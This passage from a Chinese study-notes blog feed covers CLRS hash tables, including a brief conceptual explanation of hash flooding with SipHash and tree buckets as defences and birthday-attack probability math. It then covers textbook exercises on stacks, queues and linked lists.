mtight">1</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">s</span><span class="mopen">[</span><span class="mord">1</span><span class="mclose">]</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8974em;vertical-align:-0.0833em;"></span><span class="mord">3</span><span class="mord"><span class="mord">1</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">n</span><span class="mbin mtight">−</span><span class="mord mtight">2</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="minner">⋯</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">s</span><span class="mopen">[</span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">1</span><span class="mclose">]</span></span></span></span>，其中 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>s</mi><mo stretchy="false">[</mo><mi>i</mi><mo stretchy="false">]</mo></mrow><annotation encoding="application/x-tex">s[i]</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">s</span><span class="mopen">[</span><span class="mord mathnormal">i</span><span class="mclose">]</span></span></span></span> 是字符串的第 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>i</mi></mrow><annotation encoding="application/x-tex">i</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6595em;"></span><span class="mord mathnormal">i</span></span></span></span> 个字符的 ASCII 码值。</p><p><code>ord(&quot;A&quot;) * 31 + ord(&quot;a&quot;)</code> 和 <code>ord(&quot;B&quot;) * 31 + ord(&quot;B&quot;)</code> 的结果都是 2112</p></blockquote><p>在 2011 年末，有 Web 应用的 <strong>Hash Flooding</strong> ，网页会将参数保存在哈希表中，如果哈希函数是确定的，攻击者可以离线构造大量相同的哈希值的输入，使得哈希表退化为单链表。</p><p>有两类解决方案：</p><p>引入随机化：</p><ul><li><p><strong>SipHash</strong>：这是现在的标准方案之一（Python 在 <a href="https://peps.python.org/pep-0456/">PEP 456</a> 中引入；Rust 默认使用 SipHash 1-3）。</p><p>SipHash 是基于 <a href="https://en.wikipedia.org/wiki/Block_cipher#ARX_(add%E2%80%93rotate%E2%80%93XOR)">ARX</a>（加法-旋转-异或）的 <a href="https://en.wikipedia.org/wiki/Pseudorandom_function_family">PRF</a>（伪随机函数）。攻击者即使知道部分输入输出，也无法推导出 Seed，从而无法构造碰撞。</p><p>其计算开销要比 MurmurHash 慢数倍，但为了抵御 HashDOS 攻击，这种性能损失是值得的。</p></li></ul><p>或者既然无法避免碰撞，就保证最坏情况下的性能：</p><ul><li><strong>Java 8+</strong> 在当单个桶（Bucket）内的链表长度超过阈值（默认 8）时，链表会自动转换为<strong>红黑树</strong>。</li></ul><p>SipHash 见</p><ul><li><p><a href="https://docs.kernel.org/security/siphash.html">https://docs.kernel.org/security/siphash.html</a></p></li><li><p><a href="https://en.wikipedia.org/wiki/SipHash">https://en.wikipedia.org/wiki/SipHash</a></p></li><li><p><a href="https://github.com/veorq/SipHash">https://github.com/veorq/SipHash</a></p></li></ul><h2 id="birthday-attack"><a class="markdownIt-Anchor" href="#birthday-attack"></a> Birthday attack</h2><p>生日攻击从信息密度的角度来分析碰撞概率。</p><p>假设键是随机映射到散列表中的。</p><p>那么当表中已有 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span> 个键，哈希函数的输出有 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>m</mi></mrow><annotation encoding="application/x-tex">m</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">m</span></span></span></span> 个取值，那么插入一个键不发生碰撞的概率是 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>m</mi><mo>−</mo><mi>n</mi><mo stretchy="false">)</mo><mi mathvariant="normal">/</mi><mi>m</mi></mrow><annotation encoding="application/x-tex">(m-n)/m</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">m</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">n</span><span class="mclose">)</span><span class="mord">/</span><span class="mord mathnormal">m</span></span></span></span></p><p>那么插入 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span> 个键都不发生碰撞的概率是</p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mfrac><mi>m</mi><mi>m</mi></mfrac><mo>⋅</mo><mfrac><mrow><mi>m</mi><mo>−</mo><mn>1</mn></mrow><mi>m</mi></mfrac><mo>⋅</mo><mfrac><mrow><mi>m</mi><mo>−</mo><mn>2</mn></mrow><mi>m</mi></mfrac><mo>⋯</mo><mfrac><mrow><mi>m</mi><mo>−</mo><mi>n</mi><mo>+</mo><mn>1</mn></mrow><mi>m</mi></mfrac></mrow><annotation encoding="application/x-tex">\frac{m}{m} \cdot \frac{m-1}{m} \cdot \frac{m-2}{m} \cdots \frac{m-n+1}{m}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.7936em;vertical-align:-0.686em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.1076em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">m</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">m</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:2.0074em;vertical-align:-0.686em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">m</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">m</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:2.0074em;vertical-align:-0.686em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">m</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">m</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">⋯</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">m</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">m</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span></span></p><p>用阶乘表示为</p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mfrac><mrow><mi>m</mi><mo stretchy="false">!</mo></mrow><mrow><msup><mi>m</mi><mi>n</mi></msup><mo stretchy="false">(</mo><mi>m</mi><mo>−</mo><mi>n</mi><mo stretchy="false">)</mo><mo stretchy="false">!</mo></mrow></mfrac></mrow><annotation encoding="application/x-tex">\frac{m!}{m^n (m-n)!}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:2.3074em;vertical-align:-0.936em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3714em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal">m</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.5904em;"><span style="top:-2.989em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal">m</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal">n</span><span class="mclose">)!</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">m</span><span class="mclose">!</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.936em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span></span></p><p>因为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1</mn><mo>−</mo><mi>x</mi><mo>≈</mo><msup><mi>e</mi><mrow><mo>−</mo><mi>x</mi></mrow></msup></mrow><annotation encoding="application/x-tex">1 -x \approx e^{-x}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">1</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.4831em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7713em;"></span><span class="mord"><span class="mord mathnormal">e</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7713em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mathnormal mtight">x</span></span></span></span></span></span></span></span></span></span></span></span>，所以</p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>P</mi><mo stretchy="false">(</mo><mi>n</mi><mo stretchy="false">)</mo><mo>≈</mo><mi>exp</mi><mo>⁡</mo><mrow><mo fence="true">(</mo><mo>−</mo><munderover><mo>∑</mo><mrow><mi>i</mi><mo>=</mo><mn>0</mn></mrow><mrow><mi>n</mi><mo>−</mo><mn>1</mn></mrow></munderover><mfrac><mi>i</mi><mi>m</mi></mfrac><mo fence="true">)</mo></mrow><mo>=</mo><mi>exp</mi><mo>⁡</mo><mrow><mo fence="true">(</mo><mo>−</mo><mfrac><mrow><mi>n</mi><mo stretchy="false">(</mo><mi>n</mi><mo>−</mo><mn>1</mn><mo stretchy="false">)</mo></mrow><mrow><mn>2</mn><mi>m</mi></mrow></mfrac><mo fence="true">)</mo></mrow></mrow><annotation encoding="application/x-tex">P(n) \approx \exp\left(-\sum_{i=0}^{n-1} \frac{i}{m}\right) = \exp\left(-\frac{n(n-1)}{2m}\right)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="mopen">(</span><span class="mord mathnormal">n</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:3.0788em;vertical-align:-1.2777em;"></span><span class="mop">exp</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size4">(</span></span><span class="mord">−</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.8011em;"><span style="top:-1.8723em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mrel mtight">=</span><span class="mord mtight">0</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">n</span><span class="mbin mtight">−</span><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.2777em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3365em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">m</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size4">)</span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.4em;vertical-align:-0.95em;"></span><span class="mop">exp</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">(</span></span><span class="mord">−</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.427em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">2</span><span class="mord mathnormal">m</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">n</span><span class="mopen">(</span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">1</span><span class="mclose">)</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">)</span></span></span></span></span></span></span></p><table><thead><tr><th>哈希算法</th><th>输出长度 (n)</th><th>总空间 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mi>n</mi></msup></mrow><annotation encoding="application/x-tex">2^n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6644em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6644em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span></span></span></span></span></span></span></span></th><th>暴力穷举难度 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mi>n</mi></msup></mrow><annotation encoding="application/x-tex">2^n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6644em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6644em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span></span></span></span></span></span></span></span></th><th>生日攻击难度 (<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mrow><mi>n</mi><mi mathvariant="normal">/</mi><mn>2</mn></mrow></msup></mrow><annotation encoding="application/x-tex">2^{n/2}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.888em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.888em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">n</span><span class="mord mtight">/2</span></span></span></span></span></span></span></span></span></span></span></span>)</th><th>安全性</th></tr></thead><tbody><tr><td>MD5</td><td>128 bit</td><td>3.4 × 10^38</td><td>2^128</td><td>2^64</td><td>已不安全</td></tr><tr><td>SHA-1</td><td>160 bit</td><td>1.4 × 10^48</td><td>2^160</td><td>2^80</td><td>已不安全</td></tr><tr><td>SHA-256</td><td>256 bit</td><td>1.1 × 10^77</td><td>2^256</td><td>2^128</td><td>目前安全</td></tr></tbody></table><p>以上都是暴力攻击的难度。</p>]]>
    </content>
    <id>https://blog.z0z0r4.top/2026/03/21/CLRS/hash-table/</id>
    <link href="https://blog.z0z0r4.top/2026/03/21/CLRS/hash-table/"/>
    <published>2026-03-21T03:42:54.000Z</published>
    <summary>
      <![CDATA[<p>CLRS 第 11 章 Hash Tables 记录。</p>]]>
    </summary>
    <title>CLRS Hash Tables</title>
    <updated>2026-04-10T10:39:45.486Z</updated>
  </entry>
  <entry>
    <author>
      <name>z0z0r4</name>
    </author>
    <category term="study-notes" scheme="https://blog.z0z0r4.top/categories/study-notes/"/>
    <category term="CS" scheme="https://blog.z0z0r4.top/categories/study-notes/CS/"/>
    <category term="CLRS" scheme="https://blog.z0z0r4.top/categories/study-notes/CS/CLRS/"/>
    <category term="study-notes" scheme="https://blog.z0z0r4.top/tags/study-notes/"/>
    <category term="CLRS" scheme="https://blog.z0z0r4.top/tags/CLRS/"/>
    <content>
      <![CDATA[<p>数据结构部分将结合 <a href="/2026/01/18/CS61B-Note-Collection/">CS61B</a> 部分补充复杂度证明。</p><span id="more"></span><p>以下内容参考过 <a href="https://walkccc.me/CLRS/">Solutions to Introduction to Algorithms Third Edition</a></p><blockquote><p>CS61B 怎么好像没有专门的栈与队列章节…</p></blockquote><h2 id="stack"><a class="markdownIt-Anchor" href="#stack"></a> Stack</h2><p>栈（Stack）是一种后进先出（LIFO）的数据结构，支持以下基本操作：</p><ul><li><p><code>push(x)</code>: 将元素 <code>x</code> 压入栈顶。</p></li><li><p><code>pop()</code>: 移除并返回栈顶元素。</p></li></ul><p>可以用数组或链表实现栈，前者定长，后者动态长度但需要为每个节点维护 <code>next</code> 指针。</p><p>试图弹出空栈会导致下溢（underflow），而试图压入满栈会导致上溢（overflow）。</p><p>很显然，栈的 <code>push</code> 和 <code>pop</code> 操作的时间复杂度都是 O(1)。</p><h2 id="queue"><a class="markdownIt-Anchor" href="#queue"></a> Queue</h2><p>队列（Queue）是一种先进先出（FIFO）的数据结构，支持以下基本操作：</p><ul><li><p><code>enqueue(x)</code>: 将元素 <code>x</code> 加入队尾。</p></li><li><p><code>dequeue()</code>: 移除并返回队头元素。</p></li></ul><p>可以用数组或链表实现队列，前者定长，后者动态长度但需要为每个节点维护 <code>next</code> 指针。</p><blockquote><p>注意 <code>next</code> 指向的是出队时的下一个元素。</p></blockquote><p>队列的 <code>enqueue</code> 和 <code>dequeue</code> 操作的时间复杂度都是 O(1)。</p><p>队列的数组实践中，规定从 <code>head</code> 弹出，<code>tail</code> 插入。每次添加元素时，<code>tail</code> 向后移动；每次删除元素时，<code>head</code> 向后移动。若 <code>tail</code> 超过数组末尾，则回绕到数组开头继续使用。当 <code>head</code> 和 <code>tail</code> 重合时，队列为空；当 <code>tail</code> 的下一个位置是 <code>head</code> 时，队列为满。</p><blockquote><p>为什么要循环？</p><p>因为如果不循环，队列没法利用有元素弹出后 <code>head</code> 前面的空间。或者只能在 <code>tail</code> 超过数组末尾时将所有元素向前移动，但每个空出来的位置都分摊到一次 <code>enqueue</code> 操作上，也许依旧是 O(1)，但常数因子变大了。</p></blockquote><h2 id="stack-queue"><a class="markdownIt-Anchor" href="#stack-queue"></a> Stack &lt;-&gt; Queue</h2><blockquote><p>10.1-6 用两个栈实现一个队列</p></blockquote><p>栈的写入和读取顺序相反，而队列要求顺序相同，所以先压入一个栈 A，再弹出压入到另一个栈 B，再从栈 B 弹出就是队列的弹出的顺序了。</p><p>具体来说应该在栈 B 为空时才将栈 A 所有元素弹出压入栈 B，以免顺序被污染。</p><p>每个元素都被压入栈 A、弹出栈 A、压入栈 B、弹出栈 B 各一次，所以总共 4 次操作，所以 <code>enqueue</code> 和 <code>dequeue</code> 的时间复杂度都是 O(1)。</p><blockquote><p>10.1-7 用两个队列实现一个栈</p></blockquote><p>假设队列 A 的弹出顺序已经是栈的弹出顺序了，那么如果要压入一个元素，就应该压入到队列 A 的 <code>head</code> 前面。但由于队列只能在 <code>tail</code> 插入，所以需要先将新元素放在队列 B，然后逐个将队列 A 的元素弹出压入队列 B，即可得到所需的顺序，最后交换队列 A 和 B 的角色。</p><p>由于每次插入都需要移动队列 A 中的所有元素，所以 <code>push</code> 的时间复杂度是 O(n)；</p><p>而 <code>pop</code> 直接弹出即可，时间复杂度是 O(1)。</p><blockquote><p>类比，以上是 <code>push</code> 昂贵的实现，也有 <code>pop</code> 昂贵的实现。若直接将元素顺序放入队列，那么应该弹出的元素在队列末尾，弹出时，先弹出前面所有元素到另一个队列，然后弹出最后一个元素，然后交换两个队列的角色。那么 <code>push</code> 的时间复杂度是 O(1)，而 <code>pop</code> 的时间复杂度是 O(n)。</p></blockquote><h2 id="linked-list"><a class="markdownIt-Anchor" href="#linked-list"></a> Linked List</h2><p>链表有指针 <code>head</code> 和 <code>tail</code> 记录头尾节点，节点只有 <code>next</code> 的是单链表，节点有 <code>next</code> 和 <code>prev</code> 的是双链表。</p><p>关于循环链表和 NIL 节点见 <a href="/2026/01/18/CS61B-Note-Collection/#sentinel-node">CS61B</a>。</p><blockquote><p>10.2-1 单链表能否在 O(1) 时间内在任意位置插入和删除节点？</p></blockquote><p><s>单链表只能在 O(1) 时间内在头部插入和删除节点，因为需要知道前一个节点才能在任意位置插入和删除节点。</s></p><p>对于插入操作，可以插入到指定位置的后面，但是不能在 O(1) 插入到指定位置的前面，因为必须修改前驱节点的指针。</p><p>对于删除节点 Z，虽然我们不知道前驱节点 X，没法修改 X 的 <code>next</code> 指针到被删除节点的后面，但是可以将下一个节点 Y 的值复制到节点 Z，然后删除节点 Y。缺点是拷贝开销和无法删除尾节点、潜在的野指针。</p><blockquote><p>10.2-2 用单链表实现栈。要求 <code>push</code> 和 <code>pop</code> 的时间复杂度都是 O(1)。</p></blockquote><p>单链表就是个栈，<code>push</code> 就是将新节点插入到头部，<code>pop</code> 就是将头节点弹出。</p><blockquote><p>10.2-3 用单链表实现队列。要求 <code>enqueue</code> 和 <code>dequeue</code> 的时间复杂度都是 O(1)。</p></blockquote><p><s>和上文 <a href="#stack---queue">Stack &lt;-&gt; Queue</a> 部分一样，用两个单链表构成栈 A 和 B 即可。</s></p><p>单链表的 <code>head</code> 是队头，<code>tail</code> 是队尾，<code>enqueue</code> 就是将新节点插入到 <code>tail</code> 后面，<code>dequeue</code> 就是将 <code>head</code> 弹出。</p><blockquote><p>10.2-4 搜索迭代每次都要测试 <code>x != NIL</code> 和 <code>x.key != k</code>，能否忽略 <code>x != NIL</code> 的测试？</p></blockquote><p>在确定头节点 <code>x.key != k</code> 之后，将头节点的 <code>key</code> 赋值为 <code>k</code>，这样当搜索循环回到头节点时，<code>x.key == k</code> 就会终止循环。</p><p>记得最后要将头节点的 <code>key</code> 恢复原值。</p><p>如果有 NIL 节点，显然直接将 NIL 节点的 <code>key</code> 赋值为 <code>k</code> 就好了。</p><blockquote><p>10.2-5 使用单向循环实现字典，<code>search</code>、<code>insert</code> 和 <code>delete</code> 的时间复杂度是？</p></blockquote><p>如果是不可重复字典，那么三者都是 O(n)，其中 <code>insert</code> 需要遍历链表才能决定是否头插。</p><p>如果是可重复字典，<code>insert</code> 直接头插，时间复杂度是 O(1)，而 <code>search</code> 和 <code>delete</code> 都是 O(n)。</p><blockquote><p>10.2-6 两个不相交集合的 <code>Union</code> 操作总是销毁两个集合，能否在 O(1) 时间内实现 <code>Union</code> 操作？</p></blockquote><p>很显然如果集合是链表的话，直接将 S1 的 <code>tail</code> 的 <code>next</code> 指向 S2 的 <code>head</code>，然后将 S1 的 <code>tail</code> 更新为 S2 的 <code>tail</code> 就好了。</p><blockquote><p>10.2-7 不用递归，只用常量额外空间将单链表反转</p></blockquote><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">          n1       n2       n3</span><br><span class="line">          |         |        |</span><br><span class="line">Node1 -&gt; Node2 -&gt; Node3 -&gt; Node4 -&gt; ...</span><br></pre></td></tr></table></figure><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">n1 = L.NIL</span><br><span class="line">n2 = L.NIL.next</span><br><span class="line"></span><br><span class="line"><span class="keyword">while</span> n2 != L.NIL:</span><br><span class="line">    n3 